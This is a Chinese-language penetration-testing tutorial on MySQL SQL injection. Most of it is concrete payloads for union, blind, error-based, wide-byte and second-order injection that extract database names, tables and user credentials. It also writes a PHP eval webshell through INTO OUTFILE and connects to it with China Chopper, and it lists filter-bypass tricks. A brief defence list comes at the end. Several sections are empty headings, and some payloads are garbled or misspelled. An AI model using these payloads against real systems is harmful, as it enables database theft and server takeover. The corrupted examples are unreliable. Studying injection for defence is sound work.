渗透测试之SQL注入基础
渗透测试之SQL注入基础
- SQL注入类型
- 按照数据类型类型来分类
- 按照执行效果来分类(页面回显效果)
- 按照数据提交的方式来分类
- 判断注入类型的方法
- MySQL注入基础
- 联合查询注入
- 布尔注入
- 时间盲注注入
- 报错注入
- 宽字节注入
- 二次注入
- 堆叠注入
- 偏移注入
- DNSlog注入
- 注入写webshell
- MySQL注入绕过
- 空格绕过(过滤空过)
- 关键字过滤
- SQL注入绕WAF
- MySQL注入的防御措施
SQL注入类型
按照数据类型类型来分类
- 数字型注入点
在 Web 端大概是 http://xxx.com/news.php?id=1 这种形式,其注入点 id 类型为数字,所以叫数字型注入点。这一类的 SQL 语句原型大概为select * from 表名 where id=1。组合出来的sql注入语句为:select * from news where id=1 and 1=1
- 字符型注入点
在 Web 端大概是 http://xxx.com/news.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为select * from 表名 where name='admin’。注意多了引号。组合出来的sql注入语句为:select * from news where chr='admin’ and 1=1 ’ ’
闭合单引号chr='admin’ union select 1,2,3,4 and '1’='1 ====>chr='admin’(闭合前面单引号) union select 1,2,3,4 and '1’='1’
- 搜索型注入点
这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有“keyword=关键字”,有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like '%关键字%’。组合出来的sql注入语句为:select * from news where search like '%测试 %’ and '%1%’=’%1%'测试%’ union select 1,2,3,4 and '%’=’
按照执行效果来分类(页面回显效果)
- 基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
- 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
- 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
- 联合查询注入,可以使用union的情况下的注入。
- 堆查询注入,可以同时执行多条语句的执行时的注入。
按照数据提交的方式来分类
- GET 注入
提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1, id 是注入点。
- POST 注入
使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。
- Cookie 注入
HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。
- HTTP 头部注入
注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。
判断注入类型的方法
- 数字型注入
数字型注入判断方法有三种
1.输入单引号,不正常返回
Select * from users where id =1’ 加单引号sql语句本身语法就错误了会有不正常的返回
2.输入and 1=1,可以正常返回
Select * from users where id =1 and 1=1 符合语法,可以正常返回
3.输入and 1=2,不正常的返回
Select * from users where id =1 and 1=2 逻辑错误1不等于2,返回不正常
- 字符型注入
字符型注入判断方法有三种
1.输入单引号,不正常返回
Select * from users where id =1’ 加单引号sql语句本身语法就错误了会有不正常的返回
2.输入’ and '1’=’1
Select * from users where id =’admin’ and '1’=’1’ 语法正确可以正常返回
3.输入’ and '1’=’2
Select * from users where id =’admin’ and '1’=’2’ 逻辑错误可以正常返回
MySQL注入基础
MySQL需要掌握的基础
1.information_schema:提供访问数据库元数据的方式,元数据就是是关于数据的数据
2.Information_schema:存储了schemata,tables,columns三个表
3.Schema:存储所有数据库
4.Tables:存储所有数据表
5.Columns:存储所有列
6.MySQL系统库存储数据库的用户,权限设置,关键字
7.MySQL是关系型数据库
联合查询注入
1.union用于合并两个或多个语句的结果集,并去除重复的行
2.order by 按一个或多个字段排序 可以用字段在列表中的位置号来代替字段名,比如username在列表的第2列 可以用order by 2 这就是为什么order by 可以用来判断列数
3.添加and 1=2的原因是因为经过联合查询返回多条数据多数应用只返回查询到的第一条结果联合查询的其他结果不会被显示
4.
concat():用于直接连接字符串concat('11’,’12’,’13’) 效果111213
group_concat(str1,str2) 用逗号连接 效果11,12,13
concat_ws(seq,str1.str2)用seq指定的字符来分割1,2
mysql注释符 # # – /**/
5.
万能密码:
username :admin’ or '1’='1# ' or '1’=’1#
password :*******(随意输入)
单引号闭合则可以用 -- 来注释掉后面的 ’
MySQL联合查询需要掌握的基础函数
函数 | 作用 |
---|---|
user() | –当前用户名 |
database() | –当前数据库库名 |
version() | –获取当前版本 |
@@datadir | –数据库路径 |
@@version_compile_os | –操作系统版本 |
load_file() | –读取文件 |
into outfile()/into dumpfile() | 写入文件 |
concat() | –直接连接 |
group_concat() | –使用逗号作为分隔符 |
concat_ws() | –使用指定符号作为分割符 |
联合注入过程(数字型)
1.判断注入点
http://www.ctfs-wiki.com/index.php?id =1’ 报错
http://www.ctfs-wiki.com/index.php?id =1 and 1=1 正常
http://www.ctfs-wiki.com/index.php?id =1 and 1=2 不正常
2.判断列数
http://www.ctfs-wiki.com/index.php?id =1 order by 1
3.判断显示位
http://www.ctfs-wiki.com/index.php?id =1 and 1=2 union select 1,2,3
http://www.ctfs-wiki.com/index.php?id =-1 union select 1,2,3
4.获取当前数据库
http://www.ctfs-wiki.com/index.php?id =1 and 1=2 union select 1,2,database()
5.获取数据库中的表名
http://www.ctfs-wiki.com/index.php?id =1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’security’
6.获取数据库的列名
http://www.ctfs-wiki.com/index.php?id =1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’ and table_schema=’security’
8.获取数据表中的数据
http://www.ctfs-wiki.com/index.php?id =1 and 1=2 union select 1,2,group_concat(username,’ ’,password) from security.users
布尔注入
Bool注入没有任何报错信息,页面只有正常和不正常两种结果
函数 | 描述 |
---|---|
Length() | 返回字符串的长度 |
Substr(字段名,A,N) | 截取字符串 |
ascii() | 返回字符的ascii码 |
limit(0,1) | 从0行开始,向后取1行数据 |
ord() | 函数可以返回单个字符的ASCII码 |
布尔注入过程 (bool)
1.在参数后添加引号尝试报错,并用and 1=1#和and 1=2#测试报错
?id=1’ and 1=1# 页面返回正常
?id=1’ and 1=2# 页面返回不正常
2.判断数据库名的长度
1’ and length(database())>=11– 页面返回正常
1’ and length(database())>=13– 页面返回正常
1’ and length(database())>=14– 页面返回错误
由此判断得到数据库名的长度是13个字符
3.猜解数据库名
使用逐字符判断的方式获取数据库名;数据库名的范围一般在az、09之内,可能还会有特殊字符 “_”、”-“ 等,这里的字母不区分大小写。
’ and substr(database(),1,1)='a’–
’ and substr(database(),2,1)='a’–
substr 的用法和 limit 有区别,limit从 0 开始排序,这里从 1 开始排序。
用Burp爆破字母a的位置,即可得到数据库名每个位置上的字符。
还可以用ASCII码查询
a 的ASCII码是97,在MySQL中使用ord函数转换ASCII,所以逐字符判断语句可改为:
’ and ord(substr(database(),1,1))=97–
4、判断数据库表名
’ and substr((select table_name from information_schema.tables where table_schema='数据库名’ limit 0,1),1,1)='a’–
–修改1,1前边的1~20,逐字符猜解出第一个表的名
–修改limit的0,1前边的0~20,逐个猜解每个表
5、判断数据库字段名
’ and substr((select column_name from information_schema.columns where table_schema='数据库名’ and table_name='表名’ limit 0,1),1,1)='a’–
–修改1,1前边的1~20,逐字符猜解出第一个字段的名
–修改limit的0,1前边的0~20,逐个猜解每个字段
6、取数据
’ and substr((select 字段名 from 表名 limit 0,1),1,1)='a’–
如果嫌用Burp慢的话,可以自己编写脚本,修改payload即可
时间盲注注入
Sleep注入没有任何报错信息,页面返回不管对或者错都只用有一种状态,无法通过页面返回状态判断SQL语句是否正确,只能构造sleep语句判断返回时间
Sleep()函数可以是执行挂起一段时间 select sleep(3) 执行了3秒
If(exp1,exp2,exp3)类似三元运算符,如果exp1为真返回exp2,为假则返回exp3
sleep注入过程
1、判断注入类型
?id=1’ and sleep(5)# 延迟
?id=1 and sleep(5)# 没有延迟
?id=1’ and sleep(5) and 1=1– 页面返回不正常,延时5秒
?id=1’ and sleep(5) and 1=2– 页面返回不正常,不延时
2、利用sleep判断数据库名长度
' and if(length(database())>1,sleep(5),1)
–if(条件表达式,真,假) --C语言的三目运算符类似
3、获取数据库名
and if(substr(database(),1,1)='a’,sleep(5),1)–
具体数据以此类推即可。
报错注入
报错注入原理
updatexml报错注入的一种利用updatexml第二个参数xpath_string的报错进行注入,xpath_string是xml文档路径,格式是/xxx/xxx/xxx/,格式不正确就会报错
updatexml函数介绍
Updatexml(XML_document,XPath_string,new_value)
XML_document 是string型数据,是目标xml文档的文件格式
XPath_string是xml文档的路径
New_value是string型数据,用于替换查找到的符合条件的数据
Updatexml(dco,’/book/author/initial’,’ctfa03’)
报错注入函数
函数 | 描述 |
---|---|
updatexml() | 修改查询到的内容 |
extractvalue() | –查询节点内容 |
floor() | 返回小于等于该值的最大整数 |
updatexml报错注入过程
1、尝试用单引号报错
2、获取数据库名
and updatexml(1,concat(0x7e,(select database()),0x7e),1)–
–0x7e是"~"符号的16进制,在这作为分隔符
3、获取表名
’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='数据库名’ limit 0,1),0x7e),1)–
4、获取字段名
’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='数据库名’ and table_name='表名’ limit 0,1),0x7e),1)–
5、取数据
’ and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)–
extractvalue报错注入过程
Extractvalue 函数可以对xml文档进行查询是报错的一种注入,原理也是通过XPath_string路径格式错误触发报错
1.获取数据库的名字
http://www.ctfs-wiki.com/index.php?id=1 and extractvalue(1,concat(0x7e,(database())),0)#
2.获取数据表的名字
http://www.ctfs-wiki.com/index.php?id=1 and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema='security’ limit 0,1)),0)#
3.获取数据表列的名字
http://www.ctfs-wiki.com/index.php?id=1 and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema='security’ limit 1,1)),0)#
4.获取数据库数据
http://www.ctfs-wiki.com/index.php?id=1 and extractvalue(1,concat(0x23,(select password from security.users limit 0,1)),1)
floor报错注入的过程
Floor是报错注入的一种方式,主要原因是rand和group by 分组一起使用,rand函数会计算多次导致报错
Floor函数floor(x)返回不大于x的最大整数值floor(1.4)返回1
Rand()返回0-1之间的随机数 --主键重复(duplicate entry)
floor() --返回小于等于该值的最大整数
只要是count,rand(),group by 三个连用就会造成这种主键重复报错
1.获取数据库的名字
http://www.ctfs-wiki.com/index.php?id =1 and (select 1 from (select count(*),concat(database(),floor(rand()*2))x from information_schema.tables group by x)a)
2.获取数据表的名字
http://www.ctfs-wiki.com/index.php?id =1 and (select 1 from (select count(*),concat((select(table_name) from information_schema.tables where table_schema=database() limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)
3.获取数据表列的名字
http://www.ctfs-wiki.com/index.php?id =1 and (select 1 from (select count(*),concat((select(columns_name) from information_schema.columns where table_name=’users’ and table_schema=database() limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)
4.获取数据库的数据
http://www.ctfs-wiki.com/index.php?id =1 and (select 1 from (select count(*),concat((selectusername from cms.user limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)
宽字节注入
注入原理
Addslashes等函数对输入进行过滤,效果?id=’1\’ 单引号被转义,无法闭合,宽字符注入的原理是数据库使用GBK编码,输入的第一个字符ascii码大于128,就会被认为前两个字符是一个汉字,效果?id=’1�\’,�和\会组成汉字乘,效果?id=’1 乘’闭合成功不一定要�,大于�的编码都可以
1.获取当前数据库
http://192.168.91.142/sqli/02.php?id=1’ and 1=2 union select 1,concat_ws(char(32,58,32),user(),database(),version()),3#
后台处理语句:
Select * from user where id=’1\’ and 1=2union select 1,concat_ws(char(32,58,32),user(),database(),version()),3 #
宽字节注入
http://192.168.91.142/sqli/02.php?id=1�’ and 1=2 union select 1,concat_ws(char(32,58,32),user(),database(),version()),3 #
后台处理语句
Select * from user where id=’1乘’ and 1=2 union select 1,concat_ws(char(32,58,32),user(),database(),version()),3 #
2.获取数据库的表名
http://192.168.91.142/sqli/02.php?id=1�’ and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’cms’ #
单引号被转义语法错误将数据库名字转换十六进制
http://192.168.91.142/sqli/02.php?id=1�’ and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x6374667377696b69 #
3.获取数据库列名
http://192.168.91.142/sqli/02.php?id=1�’ and 1=2 union select 1,group_concat(columns_name),3 from information_schema.columns where table_name=0x75736572 and table_schema=0x6374667377696b69 #
4.获取数据库数据
http://192.168.91.142/sqli/02.php?id=1�’ and 1=2 union select 1,group_concat(username,0x2a2a2a,password),3 from user#
Addslashes等函数对输入进行过滤,效果?id=’1\’ 单引号被转义,无法闭合,宽字符注入的原理是数据库使用GBK编码,使用�\会组成一个繁体字,导致单引号逃逸,�’ and 1=1 �’ order by 4
二次注入
二次注入原理就是第一次在参数中输入恶意数据1’时被addslashes过滤,在执行时被\转义但是存入数据库中时\不会存入,1’单引号被存入数据库,这样下次查询时如果没有过滤,1’可以直接拼接到SQL语句中执行
1.注册在用户名处输入ctfs’ or updatexml(1,concat(0x7e,(verision())),0)#
2.在密码找回处输入邮箱查询触发二次注入
堆叠注入
偏移注入
DNSlog注入
注入写webshell
1.1第一步,判断是否存在SQL注入,我们输入http://www.any.com/sqli/Less-7/?id=1,发现页面返回正常。
1.2加入单引号,输入www.any.com/sqli/Less-7/?id=1’,此时发现页面返回不正常,报错,这是我们判断此处存在SQL注入
1.3此时我们来判断闭合字符输入http://www.any.com/sqli/Less-7/?id=1’ and 1=1 #,回显不正常
输入http://www.any.com/sqli/Less-7/?id=1’) and 1=1 #,回显不正常
输入http://www.any.com/sqli/Less-7/?id=1’)) and 1=1 #,回显正常
输入http://www.any.com/sqli/Less-7/?id=1’)) and 1=2 #,回显不正常
1.4这是我们就要利用以上所学知识写入一句话木马文件,我们输入:
http://www.any.com/sqli/Less-7/?id=1’)) union select 1,'2’,’<?php @eval($_POST[a]);?>’ into outfile 'c:/www/2.php’#,虽然显示报错,但其实我们还是写了进去。
1.5此时,我们上中国菜刀工具,右击点击空白处,选择添加,在对话框中输入http://www.any.com/2.php,密码填写a,点击添加即可获取shell。
1.6下面进行读取文件,我们输入:http://www.any.com/sqli/Less-7/?id=1’)) union select 1,2,load_file(“C:/WWW/2.php”) into outfile 'C:/WWW/3.php’#,虽然报错了,但是我们还是让它读取到了2.php里的内容,然后让它以3.php写入了进去
|
9.Sql注入拿shell的方法
MySQL注入绕过
在开发程序中会通过关键字过滤的方式过滤SQL注入,可以通过编码大小写混写等价函数绕过
空格绕过(过滤空过)
1.使用MySQL的注释符//绕过空格 space2comment.py
http://www.ctfs-wiki.com/index.asp?Id=1//and//1=2//union//select//1,2database()
2.制表符绕过空格
http://www.ctfs-wiki.com/index.asp?Id=1and1=2unionselect1,2database()
3.换行符 绕过
http://www.ctfs-wiki.com/index.asp?Id=1 and 1=2 union select 1,2database()
4.括号绕过 mysql的特性id=1=1
http://www.ctfs-wiki.com/index.asp?Id=1=(ascii(mid(database() from (1)))=99)
5.反引号`绕过
关键字过滤
6.内联注释/!../绕过 randomcomments.py 使用/**/分割关键字
http://www.ctfs-wiki.com/index.asp?Id=1 and 1=2/!union//!select/1,2database()
7.大小写饶过
http://www.ctfs-wiki.com/index.asp?Id=1 and 1=2 union seleCt 1,2,database()
8.双写关键字绕过
http://www.ctfs-wiki.com/index.asp?Id=1 and 1=2 union seselectlect 1,2,database()
9.双重URL编码绕过 chardoubleencode.py 单次编码charencode.py
http://www.ctfs-wiki.com/index.asp?Id=1 and 1=2 union se%6cect 1,2,database()
10.十六进制编码绕过
http://192.168.91.142/sqli/02.php?id=1�’ and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x6374667377696b69 #
11.unicode编码绕过IIS识别 charunicodeencode.py
http://www.ctfs-wiki.com/News.asp?SortID=1&ItemID=46 and 0 < (select top 1 name from sys.databases)
12.ascii编码绕过单引号被转义的情况 的url编码为+
http://www.ctfs-wiki.com/News.asp?SortID=1&ItemID=46 and 0 < (select top 1 name from sec.dbo.sysobjects where xtype=’U’ and name not in(char(101) char(105) char(109) char(115) char(95) char(67) char(97) char(115) char(101) char(80) char(114) char(111)))
13.like或in 代替 = equaltolike.py
http://www.ctfs-wiki.com/News.asp?SortID=1 and 1 like 1
14from for绕过逗号
Select substr(database(),1,1)
Select substr(database()from 1 for 1)
15等价函数sleep=benchmark函数 ascii=hex 函数,bin函数,group_concat=concat_ws,updatexml=extractvalue
SQL注入绕WAF
MySQL注入的防御措施
下面这些建议或许对防治SQL注入有一定的帮助:
- 严格限制Web应用的数据库的操作权限,给此用户提供仅仅能够满足其工作的最低权限,从而最大限度的减少注入攻击对数据库的危害。
- 检查输入的数据对进入数据库的特殊字符(’”尖括号&*;等)进行转义处理,或编码转换。
- 关键字过滤:对每个参数的传递进行检测,对其进行sql关键字过滤如(select insert where)建议采用正则检测和递归过滤
- 所有的查询语句建议使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。
- 避免网站打印出SQL错误信息,比如类型错误、字段不匹配等,把代码里的SQL语句暴露出来,以防止攻击者利用这些错误信息进行SQL注入。
- 在应用发布之前建议使用专业的SQL注入检测工具进行检测, 以及时修补被发现的SQL注入漏洞。网上有很多这方面的开源工具,例如sqlmap、SQLninja等。
文章有多处摘自网上其他文章,如有侵权联系我